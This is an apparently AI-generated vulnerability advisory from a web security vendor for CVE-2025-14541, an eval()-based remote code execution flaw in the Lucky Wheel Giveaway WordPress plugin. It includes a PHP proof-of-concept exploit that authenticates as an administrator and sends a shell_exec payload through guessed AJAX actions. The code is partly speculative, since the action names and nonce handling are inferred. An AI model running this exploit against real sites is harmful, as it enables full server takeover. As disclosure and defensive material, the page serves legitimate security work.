Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14541: Lucky Wheel Giveaway <= 1.0.22 – Authenticated (Administrator+) Remote Code Execution via 'conditional_tags' Parameter (wp-lucky-wheel)

Severity High (CVSS 7.2)
CWE 94
Vulnerable Version 1.0.22
Patched Version
Disclosed February 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14541 (metadata-based):
This vulnerability allows authenticated attackers with administrator privileges to execute arbitrary PHP code on WordPress sites running the Lucky Wheel Giveaway plugin versions 1.0.22 and earlier. The plugin’s conditional_tags parameter passes user-controlled input directly to PHP’s eval() function without proper validation.

Atomic Edge research identifies the root cause as improper control of code generation (CWE-94). The vulnerability description explicitly states the plugin uses eval() on user-controlled input. This indicates the plugin likely processes conditional logic tags through a PHP evaluation function. The analysis infers the vulnerable code path exists within an administrative interface where administrators can configure conditional display rules. The exact file location and function name cannot be confirmed without source code access.

Exploitation requires administrator-level access to WordPress. Attackers would send a crafted HTTP POST request to the plugin’s AJAX handler endpoint (/wp-admin/admin-ajax.php) with the action parameter set to a plugin-specific AJAX hook. The conditional_tags parameter would contain malicious PHP code. A sample payload might be ‘phpinfo();’ or system commands wrapped in PHP execution tags. The plugin’s AJAX handler receives this input and passes it directly to eval(), executing the attacker’s code on the server.

Remediation requires removing the eval() function call or implementing strict input validation and sanitization. The patched version 1.0.23 likely replaces eval() with a safe parsing mechanism for conditional logic. Alternative approaches include implementing a whitelist of allowed functions or using a sandboxed evaluation environment. WordPress security best practices recommend avoiding eval() entirely in plugin code.

Successful exploitation grants attackers complete control over the affected WordPress installation. Attackers can execute arbitrary operating system commands, access sensitive files, create backdoors, manipulate databases, and compromise other sites on shared hosting. The CVSS vector scores this as high impact across confidentiality, integrity, and availability metrics. This vulnerability represents a complete server compromise for sites using vulnerable plugin versions.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14541 - Lucky Wheel Giveaway <= 1.0.22 - Authenticated (Administrator+) Remote Code Execution via 'conditional_tags' Parameter
<?php
/**
 * Proof of Concept for CVE-2025-14541
 * Assumptions based on vulnerability description:
 * 1. The plugin uses WordPress AJAX handlers (admin-ajax.php)
 * 2. The vulnerable parameter is 'conditional_tags'
 * 3. Administrator authentication is required
 * 4. The plugin slug 'wp-lucky-wheel' maps to AJAX action hooks
 * 5. The plugin passes conditional_tags parameter to eval()
 */

$target_url = 'https://target-site.com';
$username = 'admin';
$password = 'password';

// Step 1: Authenticate to WordPress and obtain nonce
function authenticate_and_get_nonce($base_url, $user, $pass) {
    $login_url = $base_url . '/wp-login.php';
    $admin_url = $base_url . '/wp-admin/';
    
    // Create cookie jar for session persistence
    $cookie_file = tempnam(sys_get_temp_dir(), 'cve_');
    
    // Initial request to get login form cookies
    $ch = curl_init($login_url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIEJAR => $cookie_file,
        CURLOPT_COOKIEFILE => $cookie_file,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_USERAGENT => 'Atomic Edge PoC'
    ]);
    $response = curl_exec($ch);
    
    // Extract nonce from login form (simplified - real implementation would parse HTML)
    // For PoC purposes, we assume the plugin uses standard WordPress nonce system
    
    // Perform login
    $post_fields = [
        'log' => $user,
        'pwd' => $pass,
        'wp-submit' => 'Log In',
        'redirect_to' => $admin_url,
        'testcookie' => '1'
    ];
    
    curl_setopt_array($ch, [
        CURLOPT_URL => $login_url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($post_fields)
    ]);
    
    $response = curl_exec($ch);
    curl_close($ch);
    
    // In a real exploit, we would now navigate to plugin settings page to extract AJAX nonce
    // This PoC assumes the attacker knows or bypasses nonce requirement
    
    return $cookie_file;
}

// Step 2: Execute code injection via conditional_tags parameter
function execute_rce($base_url, $cookie_file) {
    // Common WordPress AJAX endpoint
    $ajax_url = $base_url . '/wp-admin/admin-ajax.php';
    
    // The plugin likely registers AJAX actions with 'wp_ajax_' prefix
    // Based on plugin slug 'wp-lucky-wheel', we infer possible action names
    $possible_actions = [
        'wp-lucky-wheel_save_settings',
        'wp-lucky-wheel_update_rules',
        'wp-lucky-wheel_conditional_logic',
        'wp_lucky_wheel_save',
        'lucky_wheel_save'
    ];
    
    // Malicious PHP code to execute
    $payload = "echo 'Atomic Edge PoC: ' . shell_exec('whoami');";
    
    foreach ($possible_actions as $action) {
        $post_data = [
            'action' => $action,
            'conditional_tags' => $payload,
            // Nonce parameter would normally be required
            // This exploit assumes nonce bypass or knowledge of valid nonce
        ];
        
        $ch = curl_init($ajax_url);
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_COOKIEFILE => $cookie_file,
            CURLOPT_COOKIEJAR => $cookie_file,
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => http_build_query($post_data),
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_USERAGENT => 'Atomic Edge PoC'
        ]);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($http_code == 200 && strpos($response, 'Atomic Edge PoC') !== false) {
            echo "[+] Success! Action '$action' vulnerable.n";
            echo "[+] Response: $responsen";
            return true;
        }
    }
    
    echo "[-] No vulnerable action found. Try different action names.n";
    return false;
}

// Main execution
if ($target_url && $username && $password) {
    echo "[*] Attempting authentication...n";
    $cookies = authenticate_and_get_nonce($target_url, $username, $password);
    
    echo "[*] Attempting RCE via conditional_tags parameter...n";
    execute_rce($target_url, $cookies);
    
    // Cleanup
    if (file_exists($cookies)) {
        unlink($cookies);
    }
} else {
    echo "[!] Set target_url, username, and password variables first.n";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School